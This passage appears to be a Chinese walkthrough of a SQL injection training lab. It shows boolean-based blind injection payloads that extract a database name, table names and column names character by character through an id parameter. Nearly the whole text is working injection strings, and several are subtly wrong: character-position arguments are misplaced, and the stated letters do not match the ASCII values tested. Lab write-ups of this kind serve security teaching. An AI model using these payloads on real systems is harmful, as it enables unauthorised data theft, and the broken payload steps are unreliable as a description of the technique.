还是id=1,正常显示
使用id=1',发现并没有报错,而是没有正常显示
使用id=1''和id=1'--+,正常显示
猜测是关闭了报错,根据正确和错误的回显不同,可以使用布尔盲注
需要使用到的函数:
ascii():可将一个字符作为输入,并返回这个字符的ASCII码值
substr():用于截取字符串的函数
length():用于获取字符串长度的函数
开始注入:
1.猜解数据库名长度
id=1' and length(database())=1--+ #没有回显
id=1' and length(database())=2--+ #没有回显
id=1' and length(database())=3--+ #没有回显
id=1' and length(database())=4--+ #没有回显
......
id=1' and length(database())=8--+ #正常回显
猜解1-7时没有回显
猜解到8时正常显示,判断数据库名长度为8
2.猜解数据库名
使用二分法查找,小于110时不存在,小于120时存在,然后依次查找当猜到115时正常
id=1' and ascii(substr(database(),1,1))<110--+
id=1' and ascii(substr(database(),1,1))<120--+
......
id=1' and ascii(substr(database(),1,1))=115--+
没有回显
有回显
等于115时正常,第一个字母为's'
依次猜解第二个、三个...到第八个字母,最终为'security'
id=1' and ascii(substr(database(),1,1))=115--+
id=1' and ascii(substr(database(),1,2))=101--+
id=1' and ascii(substr(database(),1,3))=99--+
id=1' and ascii(substr(database(),1,4))=114--+
id=1' and ascii(substr(database(),1,5))=117--+
id=1' and ascii(substr(database(),1,6))=105--+
id=1' and ascii(substr(database(),1,7))=116--+
id=1' and ascii(substr(database(),1,8))=121--+
3.猜解表名
判断第一个表名的长度
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+ #没有回显
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2--+ #没有回显
......
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6--+ #正常回显
猜解到6正常回显
由于得知数据库结果,根据前几关可得知,第四个表是我们想要的,猜解第四个表长度
id=1' and length(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1))=5--+
猜解到5正常回显,因此第四个表长度为5
4.猜解表名
根据之前二分法,得知表名为第一个值为117对应的为'u'
以此类推,最后表名为'users'
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=117--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=115--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=101--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=114--+
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))=115--+
5.猜解字段
第一个列名第一个字母为‘i’
id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117--+
第二个列名第一个字母为‘p’
id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=112--+
以此类推
当然最方便的还是使用工具:
1.当前数据库
2.查看表名
3.查看列名
查看值